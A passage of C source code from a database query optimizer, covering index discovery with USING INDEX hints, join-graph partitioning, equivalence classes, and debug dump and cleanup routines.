if (constraint->index_status != SM_NORMAL_INDEX)
{
// building or invisible
return false;
}
if (constraint->filter_predicate != NULL && QO_NODE_USING_INDEX (nodep) == NULL)
{
return false;
}
return true;
}
/*
* qo_find_node_indexes () -
* return:
* env(in): The environment to be updated
* nodep(in): The node to be updated
*
* Note: Scan the class constraints associated with the node. If
* a match is found between a class constraint and the
* segments, then add an QO_INDEX to the node. A match
* occurs when the class constraint attribute are a subset
* of the segments. We currently consider SM_CONSTRAINT_INDEX
* and SM_CONSTRAINT_UNIQUE constraint types.
*/
static void
qo_find_node_indexes (QO_ENV * env, QO_NODE * nodep)
{
int i, j, n, col_num;
QO_CLASS_INFO *class_infop;
QO_CLASS_INFO_ENTRY *class_entryp;
QO_USING_INDEX *uip;
QO_INDEX *indexp;
QO_INDEX_ENTRY *index_entryp;
QO_NODE_INDEX *node_indexp;
QO_NODE_INDEX_ENTRY *ni_entryp;
SM_CLASS_CONSTRAINT *constraints, *consp;
int *seg_idx, seg_idx_arr[NELEMENTS], nseg_idx;
bool found, is_hint_use, is_hint_ignore, is_hint_force, is_hint_all_except;
BITSET index_segs, index_terms;
bool special_index_scan = false;
/* information of classes underlying this node */
class_infop = QO_NODE_INFO (nodep);
if (class_infop->n <= 0)
{
return; /* no classes, nothing to do process */
}
if (PT_SPEC_SPECIAL_INDEX_SCAN (QO_NODE_ENTITY_SPEC (nodep)))
{
if (QO_NODE_USING_INDEX (nodep) == NULL)
{
assert (0);
return;
}
special_index_scan = true;
}
/* for each class in the hierarchy, search the class constraint cache looking for applicable indexes(UNIQUE and INDEX
* constraint)
*/
for (i = 0; i < class_infop->n; i++)
{
/* class information entry */
class_entryp = &(class_infop->info[i]);
if (qo_is_non_mvcc_class_with_index (class_entryp))
{
/* Do not use index of db_serial/db_has_apply_info for scanning. Current index scanning is optimized for
* MVCC, while db_serial and db_ha_apply_info have MVCC disabled.
*/
constraints = NULL;
}
else
{
/* get constraints of the class */
constraints = sm_class_constraints (class_entryp->mop);
}
/* count the number of INDEX and UNIQUE constraints contained in this class */
n = 0;
for (consp = constraints; consp; consp = consp->next)
{
if (qo_is_usable_index (consp, nodep))
{
n++;
}
}
/* allocate room for the constraint indexes */
/* we don't have apriori knowledge about which constraints will be applied, so allocate room for all of them */
/* qo_alloc_index(env, n) will allocate QO_INDEX structure and QO_INDEX_ENTRY structure array */
indexp = class_entryp->index = qo_alloc_index (env, n);
if (indexp == NULL)
{
return;
}
indexp->n = 0;
/* for each constraint of the class */
for (consp = constraints; consp; consp = consp->next)
{
if (!qo_is_usable_index (consp, nodep))
{
continue; // skip it
}
uip = QO_NODE_USING_INDEX (nodep);
j = -1;
if (uip)
{
if (QO_UI_N (uip) == 0)
{
/* USING INDEX NONE case, skip */
continue;
}
/* search USING INDEX list */
found = false;
is_hint_use = is_hint_force = is_hint_ignore = false;
is_hint_all_except = false;
/* gather information */
for (j = 0; j < QO_UI_N (uip); j++)
{
switch (QO_UI_FORCE (uip, j))
{
case PT_IDX_HINT_USE:
is_hint_use = true;
break;
case PT_IDX_HINT_FORCE:
is_hint_force = true;
break;
case PT_IDX_HINT_IGNORE:
is_hint_ignore = true;
break;
case PT_IDX_HINT_ALL_EXCEPT:
is_hint_all_except = true;
break;
}
}
/* search for index in using_index clause */
for (j = 0; j < QO_UI_N (uip); j++)
{
if (!intl_identifier_casecmp (consp->name, QO_UI_INDEX (uip, j)))
{
found = true;
break;
}
}
if (QO_UI_FORCE (uip, 0) == PT_IDX_HINT_ALL_EXCEPT)
{
/* USING INDEX ALL EXCEPT case */
if (found)
{
/* this constraint(index) is specified in USING INDEX ALL EXCEPT clause; do not use it */
continue;
}
if (consp->filter_predicate != NULL)
{
/* don't use filter indexes unless specified */
continue;
}
j = -1;
}
else if (is_hint_force || is_hint_use)
{
/* if any indexes are forced or used, use them */
if (!found || QO_UI_FORCE (uip, j) == PT_IDX_HINT_IGNORE)
{
continue;
}
}
else
{
/* no indexes are used or forced, only ignored */
if (found)
{
/* found as ignored; don't use */
continue;
}
if (consp->filter_predicate != NULL)
{
/* don't use filter indexes unless specified */
continue;
}
j = -1;
}
}
bitset_init (&index_segs, env);
bitset_init (&index_terms, env);
nseg_idx = 0;
/* count the number of columns on this constraint */
for (col_num = 0; consp->attributes[col_num]; col_num++)
{
;
}
if (consp->func_index_info)
{
col_num = consp->func_index_info->attr_index_start + 1;
}
if (col_num <= NELEMENTS)
{
seg_idx = seg_idx_arr;
}
else
{
/* allocate seg_idx */
seg_idx = (int *) malloc (sizeof (int) * col_num);
if (seg_idx == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (int) * col_num);
/* cannot allocate seg_idx, use seg_idx_arr instead. */
seg_idx = seg_idx_arr;
col_num = NELEMENTS;
}
}
/* find indexed segments into 'seg_idx[]' */
found = qo_find_index_segs (env, consp, nodep, seg_idx, col_num, &nseg_idx, &index_segs);
/* 'seg_idx[nseg_idx]' array contains index no.(idx) of the segments which are found and applicable to this
* index(constraint) as search key in the order of the index key attribute. For example, if the index
* consists of attributes 'b' and 'a', and the given segments of the node are 'a(1)', 'b(2)' and 'c(3)', then
* the result of 'seg_idx[]' will be '{ 2, 1, -1 }'. The value -1 in 'seg_idx[] array means that no segment
* is specified.
*/
/* If key information is required, no index segments will be found, but index scan has to be forced. */
if (found == true || special_index_scan == true)
{
/* if applicable index was found, add it to the node */
/* fill in QO_INDEX_ENTRY structure */
index_entryp = QO_INDEX_INDEX (indexp, indexp->n);
index_entryp->nsegs = nseg_idx;
index_entryp->seg_idxs = NULL;
index_entryp->rangelist_seg_idx = -1;
index_entryp->seg_equal_terms = NULL;
index_entryp->seg_other_terms = NULL;
if (index_entryp->nsegs > 0)
{
size_t size;
size = sizeof (int) * index_entryp->nsegs;
index_entryp->seg_idxs = (int *) malloc (size);
if (index_entryp->seg_idxs == NULL)
{
if (seg_idx != seg_idx_arr)
{
free_and_init (seg_idx);
}
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
return;
}
size = sizeof (BITSET) * index_entryp->nsegs;
index_entryp->seg_equal_terms = (BITSET *) malloc (size);
if (index_entryp->seg_equal_terms == NULL)
{
free_and_init (index_entryp->seg_idxs);
if (seg_idx != seg_idx_arr)
{
free_and_init (seg_idx);
}
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
return;
}
index_entryp->seg_other_terms = (BITSET *) malloc (size);
if (index_entryp->seg_other_terms == NULL)
{
free_and_init (index_entryp->seg_equal_terms);
free_and_init (index_entryp->seg_idxs);
if (seg_idx != seg_idx_arr)
{
free_and_init (seg_idx);
}
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
return;
}
}
index_entryp->class_ = class_entryp;
/* j == -1 iff no USING INDEX or USING INDEX ALL EXCEPT */
index_entryp->force = (j == -1) ? 0 : QO_UI_FORCE (uip, j);
index_entryp->col_num = col_num;
index_entryp->key_type = NULL;
index_entryp->constraints = consp;
/* set key limits */
index_entryp->key_limit = (j == -1) ? NULL : QO_UI_KEYLIMIT (uip, j);
/* assign seg_idx[] and seg_terms[] */
for (j = 0; j < index_entryp->nsegs; j++)
{
bitset_init (&(index_entryp->seg_equal_terms[j]), env);
bitset_init (&(index_entryp->seg_other_terms[j]), env);
index_entryp->seg_idxs[j] = seg_idx[j];
if (index_entryp->seg_idxs[j] != -1)
{
qo_find_index_seg_terms (env, index_entryp, j, &index_segs);
}
}
qo_find_index_terms (env, &index_segs, index_entryp);
index_entryp->cover_segments = qo_is_coverage_index (env, nodep, index_entryp);
index_entryp->is_iss_candidate = qo_is_iss_index (env, nodep, index_entryp);
/* disable loose scan if skip scan is possible */
if (index_entryp->is_iss_candidate == true)
{
index_entryp->ils_prefix_len = 0;
}
else
{
index_entryp->ils_prefix_len = qo_get_ils_prefix_length (env, nodep, index_entryp);
}
index_entryp->statistics_attribute_name = NULL;
index_entryp->is_func_index = false;
if (index_entryp->col_num > 0)
{
const char *temp_name = NULL;
if (consp->func_index_info && consp->func_index_info->col_id == 0)
{
index_entryp->is_func_index = true;
}
if (!index_entryp->is_func_index && consp->attributes && consp->attributes[0])
{
temp_name = consp->attributes[0]->header.name;
if (temp_name)
{
size_t len = strlen (temp_name) + 1;
index_entryp->statistics_attribute_name = (char *) malloc (sizeof (char) * len);
if (index_entryp->statistics_attribute_name == NULL)
{
if (seg_idx != seg_idx_arr)
{
free_and_init (seg_idx);
}
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
sizeof (char) * len);
return;
}
strcpy (index_entryp->statistics_attribute_name, temp_name);
}
}
}
(indexp->n)++;
}
bitset_delset (&(index_segs));
bitset_delset (&(index_terms));
if (seg_idx != seg_idx_arr)
{
free_and_init (seg_idx);
}
} /* for (consp = constraintp; consp; consp = consp->next) */
} /* for (i = 0; i < class_infop->n; i++) */
/* class_infop->n >= 1 */
/* find and mark indexes which are compatible across class hierarchy */
indexp = class_infop->info[0].index;
/* allocate room for the compatible heirarchical indexex */
/* We'll go ahead and allocate room for each index in the top level class. This is the worst case situation and it
* simplifies the code a bit.
*/
/* Malloc and Init a QO_INDEX struct with n entries. */
node_indexp = QO_NODE_INDEXES (nodep) = (QO_NODE_INDEX *) malloc (SIZEOF_NODE_INDEX (indexp->n));
if (node_indexp == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, SIZEOF_NODE_INDEX (indexp->n));
return;
}
memset (node_indexp, 0, SIZEOF_NODE_INDEX (indexp->n));
QO_NI_N (node_indexp) = 0;
/* if we don`t have any indexes to process, we're through if there is only one, then make sure that the head pointer
* points to it if there are more than one, we also need to construct a linked list of compatible indexes by
* recursively searching down the hierarchy
*/
for (i = 0; i < indexp->n; i++)
{
index_entryp = QO_INDEX_INDEX (indexp, i);
/* get compatible(equivalent) index of the next class 'index_entryp->next' points to it */
index_entryp->next = is_index_compatible (class_infop, 1, index_entryp);
if ((index_entryp->next != NULL) || (class_infop->n == 1))
{
/* fill in QO_NODE_INDEX_ENTRY structure */
ni_entryp = QO_NI_ENTRY (node_indexp, QO_NI_N (node_indexp));
/* number of classes on the list */
(ni_entryp)->n = class_infop->n;
/* link QO_INDEX_ENTRY struture to QO_NODE_INDEX_ENTRY strucure */
(ni_entryp)->head = index_entryp;
QO_NI_N (node_indexp)++;
}
} /* for (i = 0; i < indexp->n; i++) */
}
/*
* qo_discover_indexes () -
* return: nothing
* env(in): The environment to be updated
*
* Note: Study each term to finish determination of whether it can use
* an index. qo_analyze_term() already determined whether each
* term qualifies structurally, and qo_get_class_info() has
* determined all of the indexes that are available, so all we
* have to do here is combine those two pieces of information.
*/
static void
qo_discover_indexes (QO_ENV * env)
{
int i, j, k, b, n, s;
bool found;
BITSET_ITERATOR bi;
QO_NODE_INDEX *node_indexp;
QO_NODE_INDEX_ENTRY *ni_entryp;
QO_INDEX_ENTRY *index_entryp;
QO_TERM *termp;
QO_NODE *nodep;
QO_SEGMENT *segp;
/* iterate over all nodes and find indexes for each node */
for (i = 0; i < env->nnodes; i++)
{
nodep = QO_ENV_NODE (env, i);
if (nodep->info)
{
/* find indexed segments that belong to this node and get indexes that apply to indexed segments. Note that a
* scan for record information or page informations should follow, there is no need to check for index (a
* sequential scan is needed).
*/
if (!PT_IS_SPEC_FLAG_SET (QO_NODE_ENTITY_SPEC (nodep),
(PT_SPEC_FLAG_RECORD_INFO_SCAN | PT_SPEC_FLAG_PAGE_INFO_SCAN)))
{
qo_find_node_indexes (env, nodep);
if (0 < QO_NODE_INFO_N (nodep) && QO_NODE_INDEXES (nodep) != NULL)
{
/* collect statistics if discovers an usable index */
qo_get_index_info (env, nodep);
continue;
}
/* fall through */
}
/* fall through */
}
/* this node will not use an index */
QO_NODE_INDEXES (nodep) = NULL;
}
/* for each terms, look indexed segements and filter out the segments which don't actually contain any indexes */
for (i = 0; i < env->nterms; i++)
{
termp = QO_ENV_TERM (env, i);
/* before, 'index_seg[]' has all possible indexed segments, that is assigned at 'qo_analyze_term()' */
/* for all 'term.index_seg[]', examine if it really has index or not */
k = 0;
for (j = 0; j < termp->can_use_index; j++)
{
segp = termp->index_seg[j];
found = false; /* init */
/* for each nodes, do traverse */
for (b = bitset_iterate (&(QO_TERM_NODES (termp)), &bi); b != -1 && !found; b = bitset_next_member (&bi))
{
nodep = QO_ENV_NODE (env, b);
/* pointer to QO_NODE_INDEX structure of QO_NODE */
node_indexp = QO_NODE_INDEXES (nodep);
if (node_indexp == NULL)
{
/* node has not any index skip and go ahead */
continue;
}
/* for each index list rooted at the node */
for (n = 0, ni_entryp = QO_NI_ENTRY (node_indexp, 0); n < QO_NI_N (node_indexp) && !found;
n++, ni_entryp++)
{
index_entryp = (ni_entryp)->head;
/* for each segments constrained by the index */
for (s = 0; s < index_entryp->nsegs && !found; s++)
{
if (QO_SEG_IDX (segp) == (index_entryp->seg_idxs[s]))
{
/* found specified seg stop traverse */
found = true;
/* record term at segment structure */
bitset_add (&(QO_SEG_INDEX_TERMS (segp)), QO_TERM_IDX (termp));
/* indexed segment in 'index_seg[]' array */
termp->index_seg[k++] = termp->index_seg[j];
}
} /* for (s = 0 ... ) */
} /* for (n = 0 ... ) */
} /* for (b = ... ) */
} /* for (j = 0 ... ) */
termp->can_use_index = k; /* dimension of 'index_seg[]' */
/* clear unused, discarded 'index_seg[]' entries */
while (k < j)
{
termp->index_seg[k++] = NULL;
}
} /* for (i = 0; i < env->nterms; i++) */
}
/*
* qo_discover_partitions () -
* return:
* env(in):
*/
static void
qo_discover_partitions (QO_ENV * env)
{
int N = env->nnodes; /* The number of nodes in the join graph */
int E = env->nedges; /* The number of edges (in the strict sense) */
int P = 0; /* The number of partitions */
int e, n, p;
int *buddy; /* buddy[i] is the index of another node in the same partition as i */
int *partition; /* partition[i] is the index of the partition to which node i belongs */
BITSET_ITERATOR bi;
int hi, ti, r;
QO_TERM *term;
QO_PARTITION *part;
int M_offset, join_info_size;
int rel_idx;
buddy = NULL;
if (N > 0)
{
buddy = (int *) malloc (sizeof (int) * (2 * N));
if (buddy == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (int) * (2 * N));
return;
}
}
else
{
return;
}
partition = buddy + N;
/*
* This code assumes that there will be no ALLOCATE failures; if
* there are, the buddy array will be lost.
*/
for (n = 0; n < N; ++n)
{
buddy[n] = -1;
partition[n] = -1;
}
for (e = 0; e < E; ++e)
{
term = QO_ENV_TERM (env, e);
/*
* Identify one of the nodes in this term, and run to the top of
* the tree in which it resides.
*/
hi = bitset_iterate (&(QO_TERM_NODES (term)), &bi);
while (hi != -1 && buddy[hi] != -1)
{
hi = buddy[hi];
}
/*
* Now buddy up all of the other nodes encompassed by this term.
*/
while ((ti = bitset_next_member (&bi)) != -1)
{
/*
* Run to the top of the tree in which node[ti] resides.
*/
while (buddy[ti] != -1)
{
ti = buddy[ti];
}
/*
* Join the two trees together.
*/
if (hi != ti)
{
buddy[hi] = ti;
}
}
}
/*
* Now assign the actual partitions.
*/
for (n = 0; n < N; ++n)
{
if (partition[n] == -1)
{
r = n;
/*
* Find the root of the tree to which node[n] belongs.
*/
while (buddy[r] != -1)
{
r = buddy[r];
}
/*
* If a partition hasn't already been assigned for this tree,
* assign one now.
*/
if (partition[r] == -1)
{
QO_PARTITION *part = QO_ENV_PARTITION (env, P);
QO_NODE *node = QO_ENV_NODE (env, r);
qo_partition_init (env, part, P);
bitset_add (&(QO_PARTITION_NODES (part)), r);
bitset_union (&(QO_PARTITION_DEPENDENCIES (part)), &(QO_NODE_DEP_SET (node)));
QO_NODE_PARTITION (node) = part;
partition[r] = P;
P++;
}
/*
* Now add node[n] to that partition.
*/
if (n != r)
{
QO_PARTITION *part = QO_ENV_PARTITION (env, partition[r]);
QO_NODE *node = QO_ENV_NODE (env, n);
partition[n] = partition[r];
bitset_add (&(QO_PARTITION_NODES (part)), n);
bitset_union (&(QO_PARTITION_DEPENDENCIES (part)), &(QO_NODE_DEP_SET (node)));
QO_NODE_PARTITION (node) = part;
}
}
}
/*
* Now go build the edge sets that correspond to each partition,
* i.e., the set of edges that connect the nodes in each partition.
*/
M_offset = 0; /* init */
for (p = 0; p < P; ++p)
{
part = QO_ENV_PARTITION (env, p);
for (e = 0; e < E; ++e)
{
QO_TERM *edge = QO_ENV_TERM (env, e);
if (bitset_subset (&(QO_PARTITION_NODES (part)), &(QO_TERM_NODES (edge)))
&& !bitset_is_empty (&(QO_TERM_NODES (edge))))
{
bitset_add (&(QO_PARTITION_EDGES (part)), e);
}
}
/* alloc size check 2: for signed max int. 2**30 is positive, 2**31 is negative LOG2_SIZEOF_POINTER:
* log2(sizeof(QO_INFO *))
*/
if (bitset_cardinality (&(QO_PARTITION_NODES (part))) > _WORDSIZE - 2 - LOG2_SIZEOF_POINTER)
{
if (buddy)
{
free_and_init (buddy);
}
QO_ABORT (env);
}
/* set the starting point the join_info vector that correspond to each partition. */
if (p > 0)
{
QO_PARTITION_M_OFFSET (part) = M_offset;
}
join_info_size = QO_JOIN_INFO_SIZE (part);
if (INT_MAX - M_offset * sizeof (QO_INFO *) < join_info_size * sizeof (QO_INFO *))
{
if (buddy)
{
free_and_init (buddy);
}
QO_ABORT (env);
}
M_offset += join_info_size;
/* set the relative id of nodes in the partition */
rel_idx = 0; /* init */
for (hi = bitset_iterate (&(QO_PARTITION_NODES (part)), &bi); hi != -1; hi = bitset_next_member (&bi))
{
QO_NODE_REL_IDX (QO_ENV_NODE (env, hi)) = rel_idx;
rel_idx++;
}
}
env->npartitions = P;
if (buddy)
{
free_and_init (buddy);
}
}
/*
* qo_assign_eq_classes () -
* return:
* env(in):
*/
static void
qo_assign_eq_classes (QO_ENV * env)
{
int i;
QO_EQCLASS **eq_map;
BITSET segs;
bitset_init (&segs, env);
eq_map = NULL;
if (env->nsegs > 0)
{
eq_map = (QO_EQCLASS **) malloc (sizeof (QO_EQCLASS *) * env->nsegs);
if (eq_map == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (QO_EQCLASS *) * env->nsegs);
return;
}
}
for (i = 0; i < env->nsegs; ++i)
{
eq_map[i] = NULL;
}
for (i = 0; i < env->nedges; i++)
{
QO_TERM *term;
term = QO_ENV_TERM (env, i);
if (QO_TERM_NOMINAL_SEG (term))
{
bitset_union (&segs, &(QO_TERM_SEGS (term)));
}
}
/*
* Now examine each segment and see if it should be assigned to an
* equivalence class.
*/
for (i = 0; i < env->nsegs; ++i)
{
if (!BITSET_MEMBER (segs, i))
{
continue;
}
if (eq_map[i] == NULL)
{
QO_SEGMENT *root, *seg;
seg = QO_ENV_SEG (env, i);
/*
* Find the root of the tree in which this segment resides.
*/
for (root = seg; QO_SEG_EQ_ROOT (root); root = QO_SEG_EQ_ROOT (root))
{
;
}
/*
* Assign a new EqClass to that root if one hasn't already
* been assigned.
*/
if (eq_map[QO_SEG_IDX (root)] == NULL)
{
qo_eqclass_add ((eq_map[QO_SEG_IDX (root)] = qo_eqclass_new (env)), root);
}
/*
* Now add the original segment to the same equivalence
* class.
*/
if (root != seg)
{
qo_eqclass_add (eq_map[QO_SEG_IDX (root)], seg);
}
eq_map[i] = eq_map[QO_SEG_IDX (root)];
}
}
bitset_delset (&segs);
if (eq_map)
{
free_and_init (eq_map);
}
/*
* Now squirrel away the eqclass info for each term so that we don't
* have to keep recomputing it when searching the plan space. Note
* that this not really meaningful unless all of the segments in the
* term are in the same equivalence class as the first one. However,
* since we're only supposed to use this information when examining
* join or path terms, and since that condition holds for those
* terms, this should be ok.
*/
for (i = 0; i < env->nedges; i++)
{
QO_TERM *term = QO_ENV_TERM (env, i);
QO_SEGMENT *seg = QO_TERM_NOMINAL_SEG (term);
if (seg)
{
QO_TERM_EQCLASS (term) = QO_SEG_EQCLASS (seg);
}
else if (QO_TERM_IS_FLAGED (term, QO_TERM_MERGEABLE_EDGE))
{
QO_TERM_EQCLASS (term) = qo_eqclass_new (env);
QO_EQCLASS_TERM (QO_TERM_EQCLASS (term)) = term;
}
else
{
QO_TERM_EQCLASS (term) = QO_UNORDERED;
}
}
}
/*
* qo_env_dump () -
* return:
* env(in):
* f(in):
*/
static void
qo_env_dump (QO_ENV * env, FILE * f)
{
int i;
if (env->pt_tree->node_type == PT_SELECT && env->pt_tree->info.query.is_subquery == PT_IS_CTE_NON_REC_SUBQUERY)
{
fprintf (f, "Non recursive part of CTE:\n");
}
else if (env->pt_tree->node_type == PT_SELECT && env->pt_tree->info.query.is_subquery == PT_IS_CTE_REC_SUBQUERY)
{
fprintf (f, "Recursive part of CTE:\n");
}
if (f == NULL)
{
f = stdout;
}
if (env->nsegs)
{
fprintf (f, "Join graph segments (f indicates final):\n");
for (i = 0; i < env->nsegs; ++i)
{
QO_SEGMENT *seg = QO_ENV_SEG (env, i);
int extra_info = 0;
fprintf (f, "seg[%d]: ", i);
qo_seg_fprint (seg, f);
PUT_FLAG (BITSET_MEMBER (env->final_segs, i), "f");
/*
* Put extra flags here.
*/
fputs (extra_info ? ")\n" : "\n", f);
}
}
if (env->nnodes)
{
fprintf (f, "Join graph nodes:\n");
for (i = 0; i < env->nnodes; ++i)
{
QO_NODE *node = QO_ENV_NODE (env, i);
fprintf (f, "node[%d]: ", i);
qo_node_dump (node, f);
fputs ("\n", f);
}
}
if (env->neqclasses)
{
fprintf (f, "Join graph equivalence classes:\n");
for (i = 0; i < env->neqclasses; ++i)
{
fprintf (f, "eqclass[%d]: ", i);
qo_eqclass_dump (QO_ENV_EQCLASS (env, i), f);
fputs ("\n", f);
}
}
/*
* Notice that we blow off printing the edge structures themselves,
* and just print the term that gives rise to the edge. Also notice
* the way edges and terms are separated: we don't reset the counter
* for non-edge terms.
*/
if (env->nedges)
{
fputs ("Join graph edges:\n", f);
for (i = 0; i < env->nedges; ++i)
{
fprintf (f, "term[%d]: ", i);
qo_term_dump (QO_ENV_TERM (env, i), f);
fputs ("\n", f);
}
}
if (env->nterms - env->nedges)
{
fputs ("Join graph terms:\n", f);
for (i = env->nedges; i < env->nterms; ++i)
{
fprintf (f, "term[%d]: ", i);
qo_term_dump (QO_ENV_TERM (env, i), f);
fputs ("\n", f);
}
}
if (env->nsubqueries)
{
fputs ("Join graph subqueries:\n", f);
for (i = 0; i < env->nsubqueries; ++i)
{
fprintf (f, "subquery[%d]: ", i);
qo_subquery_dump (env, &env->subqueries[i], f);
fputs ("\n", f);
}
}
if (env->npartitions > 1)
{
fputs ("Join graph partitions:\n", f);
for (i = 0; i < env->npartitions; ++i)
{
fprintf (f, "partition[%d]: ", i);
qo_partition_dump (QO_ENV_PARTITION (env, i), f);
fputs ("\n", f);
}
}
fflush (f);
}
/*
* qo_node_clear () -
* return:
* env(in):
* idx(in):
*/
static void
qo_node_clear (QO_ENV * env, int idx)
{
QO_NODE *node = QO_ENV_NODE (env, idx);
QO_NODE_ENV (node) = env;
QO_NODE_ENTITY_SPEC (node) = NULL;
QO_NODE_PARTITION (node) = NULL;
QO_NODE_OID_SEG (node) = NULL;
QO_NODE_SELECTIVITY (node) = 1.0;
QO_NODE_IDX (node) = idx;
QO_NODE_INFO (node) = NULL;
QO_NODE_NCARD (node) = 0;
QO_NODE_TCARD (node) = 0;
QO_NODE_NAME (node) = NULL;
QO_NODE_INDEXES (node) = NULL;
QO_NODE_USING_INDEX (node) = NULL;
bitset_init (&(QO_NODE_EQCLASSES (node)), env);
bitset_init (&(QO_NODE_SARGS (node)), env);
bitset_init (&(QO_NODE_DEP_SET (node)), env);
bitset_init (&(QO_NODE_SUBQUERIES (node)), env);
bitset_init (&(QO_NODE_SEGS (node)), env);
bitset_init (&(QO_NODE_OUTER_DEP_SET (node)), env);
bitset_init (&(QO_NODE_RIGHT_DEP_SET (node)), env);
QO_NODE_HINT (node) = PT_HINT_NONE;
}
/*
* qo_node_free () -
* return:
* node(in):
*/
static void
qo_node_free (QO_NODE * node)
{
bitset_delset (&(QO_NODE_EQCLASSES (node)));
bitset_delset (&(QO_NODE_SARGS (node)));
bitset_delset (&(QO_NODE_DEP_SET (node)));
bitset_delset (&(QO_NODE_SEGS (node)));
bitset_delset (&(QO_NODE_SUBQUERIES (node)));
bitset_delset (&(QO_NODE_OUTER_DEP_SET (node)));
bitset_delset (&(QO_NODE_RIGHT_DEP_SET (node)));
qo_free_class_info (QO_NODE_ENV (node), QO_NODE_INFO (node));
if (QO_NODE_INDEXES (node))
{
qo_free_node_index_info (QO_NODE_ENV (node), QO_NODE_INDEXES (node));
}
if (QO_NODE_USING_INDEX (node))
{
free_and_init (QO_NODE_USING_INDEX (node));
}
}
/*
* qo_node_add_sarg () -
* return:
* node(in):
* sarg(in):
*/
static void
qo_node_add_sarg (QO_NODE * node, QO_TERM * sarg)
{
double sel_limit;
bitset_add (&(QO_NODE_SARGS (node)), QO_TERM_IDX (sarg));
QO_NODE_SELECTIVITY (node) *= QO_TERM_SELECTIVITY (sarg);
sel_limit = (QO_NODE_NCARD (node) == 0) ? 0 : (1.0 / (double) QO_NODE_NCARD (node));
if (QO_NODE_SELECTIVITY (node) < sel_limit)
{
QO_NODE_SELECTIVITY (node) = sel_limit;
}
}
/*
* qo_node_fprint () -
* return:
* node(in):
* f(in):
*/
void
qo_node_fprint (QO_NODE * node, FILE * f)
{
if (QO_NODE_NAME (node))
{
fprintf (f, "%s", QO_NODE_NAME (node));
}
fprintf (f, " node[%d]", QO_NODE_IDX (node));
}
/*
* qo_node_dump () -
* return:
* node(in):
* f(in):
*/
static void
qo_node_dump (QO_NODE * node, FILE * f)
{
int i, n = 1;
const char *name;
PT_NODE *entity;
entity = QO_NODE_ENTITY_SPEC (node);
if (QO_NODE_INFO (node))
{
n = QO_NODE_INFO_N (node);
if (n > 1)
{
fprintf (f, "("); /* left paren */
}
for (i = 0; i < n; i++)
{
name = QO_NODE_INFO (node)->info[i].name;
/* check for class OID reference spec for example: 'class x' SELECT class_meth(class x, x.i) FROM x, class x */
if (i == 0)
{ /* the first entity */
fprintf (f, (entity->info.spec.meta_class == PT_META_CLASS ? "class %s" : "%s"),
(name ? name : "(anon)"));
}
else
{
fprintf (f, (entity->info.spec.meta_class == PT_META_CLASS ? ", class %s" : ", %s"),
(name ? name : "(anon)"));
}
}
fprintf (f, "%s ", (n > 1 ? ")" : "")); /* right paren */
}
name = QO_NODE_NAME (node);
if (n == 1)
{
fprintf (f, "%s", (name ? name : "(unknown)"));
}
else
{
fprintf (f, "as %s", (name ? name : "(unknown)"));
}
if (entity->info.spec.range_var->alias_print)
{
fprintf (f, "(%s)", entity->info.spec.range_var->alias_print);
}
fprintf (f, "(%lu/%lu)", QO_NODE_NCARD (node), QO_NODE_TCARD (node));
if (!bitset_is_empty (&(QO_NODE_SARGS (node))))
{
fputs (" (sargs ", f);
bitset_print (&(QO_NODE_SARGS (node)), f);
fputs (")", f);
}
if (!bitset_is_empty (&(QO_NODE_OUTER_DEP_SET (node))))
{
fputs (" (outer-dep-set ", f);
bitset_print (&(QO_NODE_OUTER_DEP_SET (node)), f);
fputs (")", f);
}
if (!bitset_is_empty (&(QO_NODE_DEP_SET (node))))
{
fputs (" (dep-set ", f);
bitset_print (&(QO_NODE_DEP_SET (node)), f);
fputs (")", f);
}
if (!bitset_is_empty (&(QO_NODE_RIGHT_DEP_SET (node))))
{
fputs (" (right-dep-set ", f);
bitset_print (&(QO_NODE_RIGHT_DEP_SET (node)), f);
fputs (")", f);
}
fprintf (f, " (loc %d)", entity->info.spec.location);
}
/*
* qo_seg_clear () -
* return:
* env(in):
* idx(in):
*/
static void
qo_seg_clear (QO_ENV * env, int idx)
{
QO_SEGMENT *seg = QO_ENV_SEG (env, idx);
QO_SEG_ENV (seg) = env;
QO_SEG_HEAD (seg) = NULL;
QO_SEG_TAIL (seg) = NULL;
QO_SEG_EQ_ROOT (seg) = NULL;
QO_SEG_EQCLASS (seg) = NULL;
QO_SEG_NAME (seg) = NULL;
QO_SEG_INFO (seg) = NULL;
QO_SEG_SET_VALUED (seg) = false;
QO_SEG_CLASS_ATTR (seg) = false;
QO_SEG_SHARED_ATTR (seg) = false;
QO_SEG_IDX (seg) = idx;
QO_SEG_FUNC_INDEX (seg) = false;
bitset_init (&(QO_SEG_INDEX_TERMS (seg)), env);
}
/*
* qo_seg_free () -
* return:
* seg(in):
*/
static void
qo_seg_free (QO_SEGMENT * seg)
{
if (QO_SEG_INFO (seg) != NULL)
{
qo_free_attr_info (QO_SEG_ENV (seg), QO_SEG_INFO (seg));
if (QO_SEG_FUNC_INDEX (seg) == true)
{
if (QO_SEG_NAME (seg))
{
free_and_init (QO_SEG_NAME (seg));
}
}
}
bitset_delset (&(QO_SEG_INDEX_TERMS (seg)));
}
/*
* qo_seg_width () -
* return: size_t
* seg(in): A pointer to a QO_SEGMENT
*
* Note: Return the estimated width (in size_t units) of the indicated
* attribute. This estimate will be required to estimate the
* size of intermediate results should they need to be
* materialized for e.g. sorting.
*/
int
qo_seg_width (QO_SEGMENT * seg)
{
/*
* This needs to consult the schema manager (or somebody) to
* determine the type of the underlying attribute. For set-valued
* attributes, this is truly an estimate, since the size of the
* attribute in any result tuple will be the product of the
* cardinality of that particular set and the size of the underlying
* element type.
*/
int size;
DB_DOMAIN *domain;
domain = pt_node_to_db_domain (QO_ENV_PARSER (QO_SEG_ENV (seg)), QO_SEG_PT_NODE (seg), NULL);
if (domain)
